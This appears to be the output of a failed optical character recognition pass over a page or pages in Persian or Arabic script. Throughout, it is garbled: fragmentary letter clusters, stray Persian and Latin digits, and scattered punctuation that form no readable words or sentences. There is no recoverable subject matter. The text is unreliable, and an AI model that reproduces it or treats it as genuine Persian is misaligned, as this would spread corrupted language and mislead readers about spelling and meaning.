ار فانک رن وه امک ام دروب اانمیانی دا ا هلاسم
۱ 7 |
انبن! ررکم ری دنز ادن /]
روپ رل اسرد ی 7
0 شه ات تور نت ری رخ
ات رت بروششت اون خ ات بر
شدنسکمر یرنوست یت ون ین تشک نت
۱
اسف سر یکت بر مرن مس ۳ رن نوم رگ
۱ اش یال کر نت 0 ۱
ده
1
۱ کنر زب تن
سس جر
7 رت ارم دروب ۱ مایت و ۱
۱
ات پات روش کات مرج تیک
2 ۰ . #ای_ »
/ ۰ یی / هم ه ۱
کت رت نیت وان اس رف ار درک ۱
میت« وکولشت رم بت وکین ویب مت نش
مار ریز ی شتا رزیت
رز ند مه ۱
و
روا مرو لت لب رن ام ما
۱
۱
1 ۰ »
۱
0 ی 9
ر ا مت ان سگرا و اس
و
ما
سر درو ات ابر با و ورتم و ست مر دم
۱۳
یلاس ار عل ان را ۳ ۱
زا رکشت با نت مر ما ۱
07 رت میوگ
: و
الات ۸ رن و اب ات
7 از
ات درز سطل با دجم منت سب فده ۱۳ ۳ ۱
ی دورن 2:32
۱ ۱ َتص سکیا تس نا ارو لاس۱۱۳۶
۱ و 3 هم 5 ۱۳۱۹
۱ | اسب س توبن هکم سکلت انلس زا 7 ۱
۰ ۰ ت / ۳
باکر سم ان شم مر یی(
خر نت مر دسر مت
ره
کشتزم نو نوات مرت زن سسمت یز
تن 9 ۷ 2 ۱
رم
مت ابر اهر رگن مر بیان ی 1 ۱
مر ام کی زک و ۱
ی ۱
رن کات ای ره ودک 2 ۱
2 را اف تگرور ان سوت ب رس رز 293 أ
سم بر
در راريبمر وزرسست وم مرو 1
ینم مسبت یز گرا ی ۱
مر کدف ین ار نز
مرکا ریت رازن دز رست ارم سکم 0
زرم تست و رو
7 مد رن ی اسب زرم توب و 12 ً
ی نيا 1 تست بر یشتطایا
ار ار روم ّ یلبم 2 پلی ی اه ۱ /
رشان ات ینید
27 اه خی رت
لا ری است روان مت تور مرت تام تا سارن موم
| +
و رو مت یواست /مررفشف ند منت سك ٩
ک ئ 4 شم وان کم شم وابرلو رش ۳
من ی ریت ام
سم ۷ مرب موز 7/9 ار رت رت
اش من سوب جک وم 7 0 7"
دنه کل |
ست
۳ رای دنت سس
نت پا رکشت( من و
3
و ات رک نم ۱
َررص زاس تگرونمرطا کت مب ات ت ۱
اک
برس چنا بان دول دی 4
1 زره ۳ رتیل 9 «اررمست
تست ری رباص
0
ی
| کرد دگي رت رت وت ای) ریت نا
ا هی اد 7
تم رین حون پم دم شین ام
۱ ی ه 3 /
دم 2 ورلت نامرراز و ور ویر ۷۳ اس وا ِ_ ای774
سس رم نت / بووم1 ویر
ی
کرش امین 2 رتست تویرا زو از ِ رست وا دما
1 منت ردیل ۳ زگ
ریت نس( ات سل وب ود مک
۱ ۳ يب رت
کیت او شتا ی ۲2
-
5 در
ری دی پا یس میا ادن میم
که
ک
3
۰
۹ ,او رده
)رواب بان موش دوس ۳7 دم سا
۰ ۰ 9 ه 2
2 بوذ رآن با ارت درو ور وت نز رها 7
ال
ح
ی ۳ اریذ رت زانیا
رپ ا دیدمت سا یر ۱
ی اه دس اش امن و
فان ینت ور نوی ور یو |
ویو وی مه ۱
7 وت ۳ و
سکن و2 وت
۰7 جر
انت ساپ رد و ۶
اک رن ریم مومت بل رالات / و
ایس تن نارکا کت( سنوت ول! رفدشت ره 2
رگ گر نان ِ بکاست 4 کت ی
مر یا نم مه ۱
زیم ۶ 0 ریت گر ی ۳
یسامح ار ا
۱ آ رف نت ۳ ۱
ره شرت زان نار رتست تزری ی
۱ ۱ جر یدیع 3
۱ کت دروف گر یکت رطس
۱ تنم یتفن من تروش تن مازلا
0 ۱
۱
ی
۱ اسطي دزن مد
۱ ارو م2 رم ده ات بر مش ۳۷
۱ فاحل رکفت ایا 7 لب۹ انا
۱ شم اشترن یبای دوش دم تکنستا بر
| ی م ۳
۱ 1
هد ره رز تیف
۳ لاب 1 ۳۳ و 7
انم ننک یی زک نا
۱ | مک ون و زوین ببس کتک
۸
| متام سوه زین نام ره دروم
۷ دی ور سر لش رسب دبرولات رو
وم بات 1 5
مه 7 در
سل ونکت دنک تمه ارو
هن : 1
تک و رت «رستانت ور
1
س رف ی
کت مک ابر را سم کت
کل رن ور نموه دی رن
شین « مت فرتت ط ردو تون یگنت رل
0 بت و
نب
سوووگر 9 ت اس
رک این روف تکاست رن بان
نت
ریت پیات ارت نزن رم و
سح رت ار ستیگ وت ده کّ
1
ی بت دون
۲
17
۳-0
۱ ری و ل رن نا من سل زر
۱ وت رش ری سول دون ما یمن #7
ی
1 رت مه تا
۱ ی شرس وبرثبت بن رم اش رل وا
وش گر شراب اعدیک درسرواردراصت ص تام
ریت بای امین شنک یارب۱
رن یرت باب یت لرازما سا ف
ی ۱ 7 ۱ 3 7
مرو رل کت رت یج 2
یات وم پل ادا مش پا 9
۱ یط ان نگ
| ]ان ۱
۱ ره خن 5 و ۱
۱ اي درا ری دز «مل اب
۰ ۰ 2 1 ۶ / ۱
رت ور روصت ربوم که مین ۱ ۱
77 /
دحتم تمه چم کب ۱-1
سم اد
۱ | بان رت توس دنه ردیر ۱
و
7: ِ
1
مان در زود من مب( ی وید مس
تا زد ولا نان و نت مر
7
ری مم 7۳|
دیاس ردیر کشت مکارت ۵ رثا ۳۹۶
تیم در 0 ۱
بر ماوت تین رکه 7
یل وان ادلی اپ سنا 2
مرت کت کر مکی 0 ۱
کر رتشوش ۳ ۱
مر بسن «م تپ انوا # ۱
ّ کت بر و ۱
ره لت من ,وت او نو ی
سی/۱ |
تشر نت که مر ری زج ۱
دمن دنت باب ,دوه ۱ ۱
یت زون نس یگنت ۱
نان - ۳ ۱
ری شنت تک 7 روا از و 0 ۳
مت ادن رکفت مج
تاو رش زا ری تک ) وررتافت 0/4 ون
وروی ! رتشتا + سر هب ات رت دنز
یندشن مب رو رب
نت میس ۱ ی 1
رت نصا زاین بان دض ۰ رکفت رانا
ره
یی مگ درون دم و ورتا ری( مت
درا یگرعسش را وشن تاجن
آفگر ی
ری یناسرزور مر
۱ رد رورا رات وم دنل 7 رت
بر متا
۱ نت میت ده ۳7 م7۳
اهاز دول رگ مرا و و لین دام مسبت دی
که مردپ رام شدای يم بش1 زج
فا مرش شرن رت ان رورا 9 ی دور
مری: سور 7 ی
۳ 194 کون یر
ن کت رد انعر
ادری 3 ۳ بر
تشر دون رکشت کم سب
ال ست کت جوا نمیا ۱
دم شمان وش نا ی ۳
رت درشت زین وی ند مور |
7 رای طر مسج رم بان ع/ 7
وس ات ایب یک و
ام در ریک ۳0
سین |
ار
ت 2 و
اعد تضور رپ وه ددرت ال و دمم دک
خرورل قزر رای ار زان ۶ 9 بای ال را سوه
وم
۱ #ننمزی رتم ام یز را
9 112 دبای مزر و
۱ نت و
مور رتصوررار زا 7 رک گام ورپ ورگ /
7 ۰۰
۱ ینوی ی
,سس
۱ تیا بم ان نام اسلاورا ۳
۱
تچ مت
77
7
ا ماتم تیان کت و :درل
مج ۰
رک رو مزب وف
رس هش ی ۳ کار لوا رخ
+ اد
شور یکت ور ریاد رل نامرک رد رازگ اک
الک یس از دمم ۳
دباي لت اک
2 گرا وت مد رونت از ۶۶
2-۳-۹ ور رااع 1-0[
ون مرت وا بت پر نم 0 ۱
رورلو وا ی 2 نا دار
ش کی مت دنکب ٍِ
ای ات ینم ردناعضا رواب تک
۱ و 2 7 را را ول باس لت 7 صبر ره
دنتفگ مارم ریات ت ورس و ون تن
۱ شترا 2۳ سر
شرت تن رتم
۱ و ۱
( تیرت مبرن تفت سا
1 اسر رتست
8 1 ۱
۳ 7
رات
: 0
۱ وگ 1 رو تشر میرن دنت امک
1
صات وراو اب نس لحم از دا شتت ۷ |
اک سح ۳ ۴
۵ ی 7 پ
الشت توت ۳ زان دنتسا
1
[ 2 ی و
صروابطرور دامپ وافاب تسب یز دس
2 بت
تست ۱ ی ی 7 دیرگ رب کر ای ور مرو
7 فت دبا | اشندآیرا زرا رکب 0
دررسرها وب مت او رتش ماوت عار ی
1 شزرو اقب :۲۵
پر ی ولرشب و پ زامن مرف میت پا یا
بر را دز تخب تردن وود که
۰
۰
2
1 7
وب یی دی ریارفربرادست شا
2 ی هر تن که
ررض بر رز رت و و
این پر ون تست دنه پیرگشدا
۱ ره
زنب اي ناس ریت دشن و
۳ ی خ
رن داد شنت یپک
مس رن ره هام 7 0
نانز رک اویش راک سذه ال
۱
۱
۱
ِ
۱
کیدست و
سک ۳ 1
۱ تراک رت ا یت کمن وس
در یمه ۰ 7
مه امس بان برن | ست ئ ی
مر ی مرا کنو ِّ امن
ایس زورفا ها رت ایشا ۱
رت ره
۳
۱ کیت
ِ تم بات رات دزم رون رواک ۳
۱ | ارت مرش تکفت| امرهه زره ی
از رنانوم! ار یط مر رام پر 1
| سای رات ام مسون شکرم وت بن یرت
اروت نکن
| ات +دانژس نا 4 رانا کت کف
ینوس رونت سرت زا
کنو لگرپ و و رانک
۱ وگ
1
۱
ید ربا يد ی اب۳۳
ریس وبا بر یدترت دم تک
یرم امک دس ۲
و 7
۰
77 0 ات
۱ أ کت ۳
۱ ده شنت رم نت دنه
۱
۱
۱ رک دیاز ی
7 ین ۳
دم مت ور ردنر دلاست ۳
و کش
۱
۱ برشت نت درسان مرت میت ای رازم 7
۱ ری میت بر شیور او 0
۱ ۱ وم رکفت ایض میرگ
۱ 7 رزمب سای سل زندزا مرس تا یت
ره ره هر 9 7
ات دص رپ میس اوست برز مدا سور اراک |
4 بر
: 1 ی ۳
ی ۱
ماب ماب | یددال )ال کت بانصورت | مب
موس وان نون امن زنط
۱ ,ل ۱
تین مومت ون مت دزمان 04 ۱
کح |
۸
و .
و رت انم« 2
)
0 ۳9
ویو رر رفرا زثرو وا/0 ۳
ما دحتم ارجا سر 7 سا اد رکا رز دم
7 سم وا ۰ / 4 س 9 ۰
۱ عنذررم رکشت اوسلین! اس داددراط مرول ۶)
۱ و ۹ 8 1 ۳ ۰ 4
| وز مت یکره افش رت فرز انمض ۱
۱ ۳
کج نم فان اهوم ۱
مک وس دنت ت۱۳
ر گنها درس یوم هر ومد( سس بل ۱۲۰ |
۱ ارن سور دانما راما تن ارات ۳9
ری 7 / ۳
|
۱ ری دز رتم وک 2 ۱
وا
۱ زیت ورب ددم رن ریت مرت ریم
ی سندوردرکت زان گر بر | و أ
جر ۳9 ریسا رام ور راو
۱ تس بزوکشت ین رات یک نتاس و۳ ۱
لیزرب هتکس
: س : م۱
رن رل )ارت و ۱
ول
۰ :|
۱ نما ال دربن زان 34 سوت اور
7 / ۳۳
یکی اسن 70 9 رب
بل شتا که
/
1 رز و ابا ات تبرت
_ 73
و ۳/9 باس
7 ض رل تون رم وگ
0 ن رو ری ۷ سك
رچولیریر ۳ در نکمم ار مرو را را تاه 0
۱ و 2
اش بات ینتب یدنم دم درا
ار ۰ سرت س رم
یت ادن سیر تم( کش رگا رو بدا
+ را ۰
ق بر
و و
رم ای ده میدب رد یروا رایس ان >
تب | ک رن ۶ب ین ۳/2
۱ وضو شمسا ۳ ۳92
1 ۳ ۳
ون میس سول ست دبای ف
2 ۱ ۱
مر زا لت هنم ریارمته ۱
5
۱
۱
۸
سره وج و 07 ی رت رت
۳0
7 کر
همرت ردای اک دای بان سرت 120
م7 وه
ی مرو وم 2 رم 2 و
لا اراس بر | را ره و یمه رد
۵ ن
۳۷ ۳
ده موم راد و ۳۰
مر کردم توا رت زا نیرت دک ورین ۳
۱
۰ /
ررنمط ۳ تک رهام مب
۳ ان
ایشا روز درادن یه
سم
رام رتست ار شران تزشت رز شن که"
۳
نکش رررن 7/۵ کب وا یهت( 3
/
۰
7 نام ۳ 120 مر نام
حَِِ ۰
ما
روز ؛ مد اوست بر 0 یرما
نرتسن ان مت اک برپ ره
۰ و 1 7
ات رت عانعن نان تسه بان ۱۳۵۵
2 ۱ :
۳
۰ ۰ مم ۰ 0 ور
۱
سیتم ||
رس رری وت وم ی ۱
0 ۳ 2 ورو ره م مت
1 2-9۳
میرن کرد ن مت رل ! ث بل ری »بات
۰
رن
: ق دب ود و
یا رامین رما | ما
۳
(
ند
۰
۰
رو یروا یات سا
4 مك 1 ۰
و ال تا
اس
ی سا ۱ /
اورا سل شلف نتب نا رز ۳ رت
رل
7 ۱ رز تگاا ]دهم
کب نکن اش زعست! ستاز لت وم
سر رمع رافتا سمل
۱ راب دبرت بر ی رت ای کر
سک ری نامر نت مر ره ۲۳9۷
وا راشای رت سید
بیج سم دم ری«
<< سم
یز ان سر رد | ۱[
۰
بووین هرد | که بای نيمه
۳ لب ندش عمط نگ ۱ رگ
۷/7 تن رین سس
رایس خن لد زب
راديد شم ما مرب رکشت مش تکار
,
لت ايت یکرزاروبش رف 7 بلوی رس فرین 2۸
از لاسکی ردو و مرت وگو
دی ره زج 2 ریبدت نزو
۲ وزرب انرو روا ۳ ۳
۱ سر ینت فا / وناز نی
۱ ار نم راز سرخ مش سیف
۱ ِ هم 1 ۱
"رسپ سوه سارک مسزری/ رن لنش ۱
۱ بت 6 دزی ال رانا ار
ان
رد ت امریم وم و
۱ نک ها رید یا
۱ ی ری رک ان مزا ره تکرب تست تا
[ ( ۱ نت بر راز نژ
۱ 0 ۳ رد2
ور کار ات اک من ِ
ری( و و
شور رون دنت دی شون
ا رت درا رباع بر وربا سگرن رزست ری
۱ 4 ۸ یزان نت
کشت پر زر دای بات ات
رو م۳۵
نیرت دروخ سوب ۳ زرد دتم ن رت 1
۱ سس تال بر 9 و 1 3
۱
1
۱ نزن بسن ره نشف
ا
۴
أ ۱
نس تن |
4
ات 3
| رورت ی رون ۶ نم 12 |
س/ و سس ۱
9 ی ۱
ری مشیم لکشت زا از کاس تکازربیا نزن
ادلی دون تمس ۱
2 اک
ی ۱ ور و هل ۱
توت امش م1 وروت ا ال سار رآ 2002
۶ هی ۵۵ ود
اا ۰ 9 خی هر توس هت / ّ ک ۳
مهب رات ی را مدموا رتست م ی کد متیر ارو عالط 9 ۱
| ۶/۰ -
3 ِ 9 مس"
جع وود کبتمری ینت ردب سرا نان برزورووا
۲ 6 من
اور 1 بت سیم("
۷ ا
۰ ارو و 2 اا
خر سش) مرایدپرن ها 1
ارو رت درون درون ات واشتا ال وسوررتش رل
ٍ
۱ سان زست نز ۳ دص ملد ۱2
گر
:۳ تور ی
ال قضب و بو نکالستاع سورب راما لور 2
ره کم ری
خراچز؟ ن دصر رنه
۱ ساب 4 نم شرف
یم افطل بل اما ری
و 1
ام
مترواشت را یت نت 0 اکرپورو ورین با
0 ۳ ۱
۱ رت درا لاد 6 و مد مه
دبس بخ دال ۱۶ و
ون نذا نس وتو |
پر نت مهف ص
زک دپ ۱ رک
زاره ون جنس
1
من مت هنشت مرزانر ۱
نت سس خرن برع را سا نیک
7۷ شوم درل رن سرا نارنست ۶ ور
مگروار مرو یگردا اند ی 1 تام مین
رن رش سر یانش رس 2 رت
ات ی وا کنو ایک رال ششیرما زو مش رت
سر گنس در ی خر دربن 7
2
زرا دنبای 7 کرک در رش نت رتست
ه/- نم
۳ مس رن و
و یلع مروت ی 0
کون او نارای
ردنا سنا
02۵
تال تم 04 دار رای لاوس در مر
انیت ویر نت نوی
01( 2 درک پم روگ رست وکام و ی
۱
بر
ک |
3 ۳7 ۳7770۳7 ال تشه
72
37
اه مود این را و ست ال و1
شرلیت 0 رزیل
۱ مرو
۳ ناتالز ای کرت
۱ بان بش در دم نیما 1 ید بت و او نیش
و طوي بت رسیم اس زاگ
ما شد ند یت
۱ بر ۳ و ۱
۱ رگررن ر ان دثبت ونم زک دس بل )| از
۱ | مشب ض نتم( رت
۱ و 0( ۱
۱ 0 ۱
دیماان 1 ۱
دی نتب زیم تین با( 7 ۱
1 - 3[
هدن ره تم رس کرما ارت و ریس
رت دزن رز ت) رن مرراست ریش و
7 ۱
یش وه گ 7 1
کب کُ مس / مان اون نگ ۱
اک دار یر
ی کر وس نت نس
تخد کایرت پا تست ۱
یژراش ویس رن رف زرا زا 3
ستمرااول شتا نینط ِ
۳ سین رز زراشت مرف
راب هلت 7 رت رن مت | أ
زد یس |
1
رات شا سرت ۱
بت متا زد نی بلس رام سارت 8
0 ره
ورب ۳ ی رف
رد
ار ما رها میت سب ا مهم رتخا ابش ور مس
7 و رد
تمورین ازع وزتت ارو ۷/0 رن | مارم و کم شزاون
7/۳
رسای رود نی مج یاو ۱
و راو سیر روم و رازه رم 9
ز/ ۷ 2 برس و رها بان ۳ 29
ور تما 7 رابت ارو ررست ۳ 7
ی ۱ 9
سفن رن شتا منت بات
یر نت کانمن
ی هم
2 مر
7 ورد وا راب سود
ا/
0
لنش نیش ره سکن وا نس
نم رین اذروور میتی اصارنن .مت
اقا رثا ی #شون ری رن
سار شبن ا ۳ وت
1 گ۳۹ :
و[ 5
با ایند از 7 1 و و ارگ او وچ 2
ار ای منم سس اه لوا رس
1 ۳
این ات رز ك ۳
1 ْ
7 ۱
پا رم لور ی؟ کی ۷ نت مسوو نون 7
21۰
مایا ۳ تیاس 0 کت
7 رت رن دون نان
1
رمیات زره رارف 2
و ولتت اه تسب
بت
روک وگو نکم وه او و / ۳
ارت بر دا
4 0
۱ مرش ری ری رک کت لین سك
وس ار اکن 1۳
و ۱
رد 2 رت ۳ رن دی ما رکشتکا ی
تن نم زد دی
ا ب حووتی ومر روک هی یی رپس
1 با 7 ما ین رت رت
سم رت( مر را مق
۱
#4 ررض یتست
ادربا
4 لین ا یرس
تون ۴
م7 ی یا
1
اس وه 3
۱ و یز(
/
| ناسین سع 2 2 مرک رک رب
-
هک
۳
9 رم رح اگم را جنران ری
3
ی رت رت درو ویر وبگراور
۰ ۰/4 ۱ 7 ۳
۱ نیرت کر وبا ضرشت ال بر داد ای من
7 1
|| دنرادن رانا سبروانت ال
و ار ره 9 ۳۳ مزر
ال ۳7 سب ااسوا رت تست را یروا
من رت درز
او ۷ میلست ر1
1 کر رکفت ۱
و چب ||
«وست رادرا لاتم دا 4 لورت مر رای ۱
2 سب سس 1
تن ست و ین لاور نا
۳
3 لت زر داضان |
تامتووررت / یمجدسر ضرانبن ار 1 ان ۱
زر سرت شب ۱
ززاترارو/ همست انس درا ۱ ۱
مرست مس تور رتچ سک 3
کتا ره زان ما۶ یذ
۱ مت
ك[ ن پراش درد ریا یی انا رد وا
ریش شبن رگنب مد ۱
۸ نسم طدرن ۳-9 و دری ین ۱
۱ مس
7 تور من 0 و ۱ ۱
2 7
بت اه لاور لوا تک و بو سکیا
1
1 ِ عبت
ون وم ملد و 9 ۳2 2
۱ ابز) م1 منت سا نهذ
۱ 0 کی امک روز 0 موه
۱ ۰ ام
۱ ۳ 0 7
وس او زرکا رتم نی بن
ری یت و7 ۰ رداک[ رظ
ملق رت رو 0
ات
اضت ین ل درل درد تب یز رو ی
و 3 ر
دراو سا رات اس ورس سوواط راو ری اه
بر داسف مر ومیل وم رز
بت زمر 0 مار ورست بل کر
۱ ین یرم ین
۱ ۳ ی
ام نان ی ند ربکا ۳
تس دزنلر من نات
0 رش سوک[ نزن 1(
منهج اب با رس اکن
ررگروشت سنا 0 ۱
۱ ریت مر ست نز وم ر 2 رت ۱
از زر رت
ادن ادا مینست ای م مس رتور رت رتم
زدا وت انب 9
۱ رم مس ین را ۳
۱ نساب ۳3 رل رم ٍِِِ
یکتم م نم و
از شنلن | ی
أ ۱ ودرا راو وشوو رس موم وس لا 1
۱ ون
ال [ی رو سا نک انار م1 |
0
0
ی ۳ تم 9
رورت وس صن روز واضا زد رود رون ب جر 1
ری ری تب
دار اسب ای ال ۷
۳ سک رست کر الم ات رشت) ارزرست او را
کر ووکمو میت دم
و نت 7 کر مین
2 دنل ۷ رک ۵
ریت ۳ کته
رز رزیت مر یکت وررضژی وم رک
با مک سم شتا( ند
1 7 ۷
یکت / رونت وگیاناستم سب و رت
نمچ ی ۳
۱ 7 دنل بر وبصت او
1 هنن (رز رو ران راین تو زا
وامت اب بلس دار درون دمست واستست | ۱
م2 1 انرب لت مزر نی رضحم بر
۰ ۰ ۰ ل ۳
که ور تکاس تروپ سر ی
ی و تا
کت کشت رل زو و ک ال رل *
مر
ای ین تسس و ی
0 فیس ردام |
م4 و وتات راز تیا
۷ ونر و ۱
وت ۱
۰ ۰ ۱۱۳/۵۸
زین رن درا ۱
شم زگ میت مت ۱
تور نیت زوا ره ۱
کت هن لت سب ۱
و پاک
ْ
ره
سح ِ ِ سح صحم ۱
۱ ی 9 1
۱ 9 شک اسان رکشت ان ۱
۱ 7 یت رد ای( ۱
۱ رشان کش ۱
۱ رونت بر ام این ریز ۱ ۱
۱ |ستپی 5 ۱
رن انشرلیع/ ۳ ۳2 وم بس/ ۹ ر
مش
رواد رین رورا 0 ۱
بت
ارات ۳ بت ناذا رتاو مس ۱
1 ات
2 ور با رخا رو ما کت 7 ۱
۳ ره دم ره مه سرب 4 ۱
از یک مرب امین بت ازوروا نبرتا
معا |
ٍ را نفلت دیدی؟ ۱
0 7 دروکا 9 نا ۱
سین له رک شبن نان جنگ و 7
تسشن مس مری/ مین
۳ :1۳ سپ رز کرت 2 7
شبرا شنت ییوت "1
رونت رخ «خررت تام ی نابز
من و تکداسب ما و ی وت بر بت وش
رز تن نک
هر میا 2
اما طوز سید چر ی کت ری«
متعاربرپست» نومب دام رام
مرو ینوی 2 رمادب ور ۳ 7 ۱
تن کت نگ
کیره 9 2
رم ۳ رکشت زین 7 کی مک |
رن سای رز مر
أ ۳ مرت نان بی رو لت( ۳/22
توح
نت
ماد کدنا کت محنت به نس
4 ۰
4
پر دا اسب سرت ۵ راما روش برن) هر
من 75ج 1 دبس | ۱
مج ۳۹ ان / ۰
این راراسلاست/ا ری ارو برد و وس لادم
0 رب
بت چا نک اب روش زور همست مت ای بت ۷۱
۱
۵ ور ره 11۳ هر ۱
2 از و وزیا رز ور اسرد را ۱
/ و ۱
ی میم 1 00 / ار ن/ 9 7
7
۷ س و ات
کر ۳
۰7 سر و 7 3 2 9
پانگ سنا ی نس ۳ ال ونر شتا ۱
درم |
دك ۳ تست درأزن وش اش مین ۱/۸
س اه
7 ۲ و
۱ ده رال نکن ست اپ رفس ن) من
۱ ر«
۱ ۲
تب
مرا رتست رس ر؟ شش بر رسک ممقرلات ان ۳
مرا به لا + ۸ ۲
۰ 10| ز
7 1 رات مرس بسا
7) «
ِِ ایوای امد ری را شرس
ای ولتت ون ۳
اتبسن رز ۳ زر
اد
| کح ۱۳
7 ۲ 00
گنت یراس طبر ۱ دلست برد رشر زر ۱
: ۱
تم ۰
در نمی سر رل تسف ۱ ب کم
7 ۳ / ۱
اس سر نس برن تب اشضت وت ورد[ 4 ۱
۱ ۱
م۵ | و
۱ بسن دی اما تست تم رل
۱ تم ورس , رویسر ی یت ۶
[ د کت تدش تسش مر
و رم رات ینت بر نت تگذت/ ارپایث با
ره و رس سب نت ون نبرک
من بت روز شم زوسن 5
جک ریم وت اند اما ۱
و ۰ ۱
4 / :
مزا زرط هط
بت
مسرت موم ادن رش سحدد
نشب ی ول ۳ ی
اما کرو مت مرنشمتانت ما
سح لح ۱
ج |
سس از
۱ ]تست بت نج
ر ۸۶
دی کم
۰
أ دوشت هرن ذاب بر منم وب
3 ۱
۱
۱
۱
ال
۱
فد 2 ۵
سول نروییان دروازح انعر مرن مت ۵
۱ ن
|
۱ ولاز زمر و رت مس دزی
ای زور فرط نت رژات ی ۱
| رح سح 2 1
از سح
۰
مرو گرا !7 مرا وم رن
ساطست وا یازع ی زر شیر
متا سب اسان رز ی
تسیا نان دای( تمعن رک رز
ا روم دب با 3 کشت سیون
شمان رن بان موی مت
7 زنل ره سس سوام ل انم 0 لت | ری
بمب 7 هب گیب ول(
۳
ری ون ترا 1 نکم برد ی وان ۳7
۳
چم شم ازب ره ینید رین وس سکن ی( ی
مس
ات هیجوت جنس ال
/ ال
دیب شتا شلصت ورعذم) کبس رت تم
۰ سل ۱
متیر یکین و و سیر رز ور ۱
ام | مات وس ا کت مرا
ی کیت تتط مت
| ِ 0 ۳
ول نا
۱ َو ی مت ۳
/ تروش بو ماو ت06
۱ توش دس گرم کزری دنش/۱۳۶
۱ ۱ لت یگس ناوات در نم 5
هی سار
/ ۱ | کیت دعر رو رو لووادا موس و1 وه
۱ ات
1 شاپ نک مس
ی ی
7
تج طابر ش راغ رو م2
|ام یک مت ای را 1
بر 2 رم 1 ً, رازم ینود ار ارب ریگ
رن« ۳ رد ف ترا مض رورا ماس ما رک
۱ 7
| نامز انرب
اه 4
ار ورن رونت ری نارای رز
7
7 راالطا رن رز تردن ار
7 مدش 0 رتم |
1 تزا نان رد دنر 7 رزیت 0 آ ۱
بت سیر اف ریت ری اذ
کاریارادط بک اب وزاردایر جنست ره تک
ک ان ناش کنر 7
م از کشت درم زیت
و 9 وض
از ناس بدا ددرت هم رت اور
سین ی مه سم ۵ برش رم ۳ 1
ام رد ام ام پٍ ارم 0 توریب
1
9/0 دی سیم
ارو تن
2 نتب رس مک
اه ی مطم مد ۱
تجلی»رفت مس ضبن الم نصا یت
ریت 74 یی
/
۱ رات تین میب رگنب
تسپ
سح
مرس نهر نت
راکش کم راز رت مرو
ایک و میت نان کیان روگ
7
و ب ار
3
ی را
ارو شم هو ماک ا ودرا رگ 5 9
رد 0
ص تست هداب رد 4
/ بر
کر کم ات دبررشت ما
0( ل
۱ 7 ی ۷ شیارا
۱ 7 | زک توافت
۶ وال
رتور ون ار ار ت اور وراء م
ات در مره 0 بل )1
از" لین اس اون درل دنا ۷
م2
ند 2 س
مکی ررام مت روب رش ترذ ِ رت هب 7۵
اس و ار و
| او وا ردول و و ناس مات مر
7
وج
۱۳
شتا
زاب ذتا وت لب یم شم اس (* بت ت
۱ تم ی ده ین ی ۳ ۱
۱ عم
۱ 1 ار یف 9[
1
۱ ابا یدرس /زواورت مومت رال زد برد | ۱
راب
۱ یت هي پیش ی ره يت یت
۱ 7
ٍ ۱
۳
ترا روا لبم کت رتم زان 1
7 ۳7 اب
۱ | ۱
۱
۱ مد یت |
رام | تکمین باست/ه // 9 ل ۱
مرا ماوت مش 27 ۱
۰ نت
سس شب دروامهد
3
۲ 7/۵
,انرب ۱
لب ی ۱
روا رم ا
سب 0 ۱ ۱
۳"
ره م ۱
/ ۳ ۱
0 ِ سکن ۱
۱
4 ی
۱ 2 ۶ / 9 هه وم ۱
شتا رتست ره 1 رن رو شرس 7
۰ ۰ ۰ ۰ +ی بدا ؟
/ ۸ مکی 7(
|
4
رت نت ۲ ام و
الا
رر
هه ححصمت سح
دار ری بات کر ورين سس نت۱
را
اضر یی بان ی ِ
این ریک 2 رلنتایدمی) /
>
۳
1 ۱
تردن دم سس این 0 |
ی
یه کر 1
ار ناه مرا بت رین ونر ۱
رد تال وس م۳ 2 ۱
۱۱۱۳-۳-۹
وت 9 وانی تست رورم من ۳
۱
0[ 71 ی
وت مسب شین بان تست هر زد
صته نی رز 2 ۳7 ۱
۱
تح
تفر او مات : ارت رت نو ۱
1 اراد وه ۲
۳
۱
ً
روطب رز فا ال ص تسوت وس
۱
||
کب
ات
ما حت ورسب نت ۳/۸ ً (۳ مرن
ی رک نیش نت ریک
او میداف هت که تور و لس را 7
9 اند گنت رح ناور یه 7
کنخ رب را یا ب/« دن+ع س#ذدن) 1
رن جات من
۰
۱ 39 7 مر ۷
مریگ یت تست ام ترا 3
۰ 2 نس
۱ یادها 4 لت نتم" و ۱
یت درل سکس ی بات نو و سك
( ری هنم ریت وابری رما تاه درا
اش رتیت شتروص داب رچهدها ی رفن
0 سب وی 7 1
رتست و ندمت اسب 1 9 ادرف نل
سا ربیف ی
ر مسر ادا وراد 1
تن حسی بان
0 رن کیت بر خی
۱ دشر انس یامه درفنرست اه
9 1
ر مه نا اس
باه مکاضمرفت یر
راوشس رز سر ررتششت مزم سور ا
با دنمس رسب لک 7
۱ ۱ کر و 2 / مرح
0 کر تسده بدا ل دسر یار ور 72
77 ی اي له ۳ ۳/۹
س دندست تما 2
29 |
وشیت اماان ی 7 ان بان اي
تا مدوب ار رو »2 ری یگ
ور رت له سا
یجنم درادرب مرت پاش و مرن بل ۳
نز
ده
سح" سس
۳90 7 ِ ۰ 79 مج
تاک «سلتن رل زرس یز در بخ
و مکی ریا
هن سرت یگ یکرن انبان رورت
رب وروت شاب ژورن دراب ورن ً-
/ له ۸ 3 و 2
کر نی کر
9 ۱ 1 2 1
۳
بسچ مش لنپ انیت رون
موم دنسر
0 / شا
نتوین زیت ان اج
رن ی
رکفت مقر ۰ دا سکر کی رت
بز« ۱ / سس
الپلادییا ارت آیکرستر ب نت ار
شرا یدش تزا رو شمیت سب
#۹
+ کوخ ۲ ات
|
ی 5 ر37 ۱
ان تایب داخ شدی تا یگ درا کم 15
9 0 /
و ۰ ملد اس |
دنو موی دی مان هرمن اضر ۱
تور کت رک سکس اب سر
((
۳ 7
1 ۱ 2 شتا( رن وهای اسان مشق
زر رد تس تور رت ت
دوعس از ردان ی #۷ کج
وب شک ون لب دب تابر ك
۳ 20 کر رب زر ۱
ی سر مک
ورین ولخ مر مرووا بات ری له
یل این ینمی ژاش راو اجر) 3
۸ ۰ 1 4 ۳
2 ن 4 نار ی نون ره مرت
لو وا درم نما ور ۳7 لدتیر؟ ۳ وزرب
ین رت شیر نت سر بست(!
ی ی بر رمتاشت! ی ارالن 7
۱
دا ماسجا دنهد من
۱ رما بکا یوت مق دتفیب ۱
۱ ام ند سور ورس )13
راد کی ریک کف سار س
کشت دا یلها 7۷۶
شنت مب بسورت 2
4 /
مس سوت بر لت رد ست | 2
که سر ی نع با تن دا
ین
اک ای سر ی ۳ ۱
رم وم مرو #ض نز
سس
2 س 7 رت 0
2
۱ رت روش رو
۰
کرت دزی اک 7
مت
دا تبرت تاراپا مد باب در تفر 217
1 7
2 مب
تم تب لو ی درانی]
بو بر ۱
|
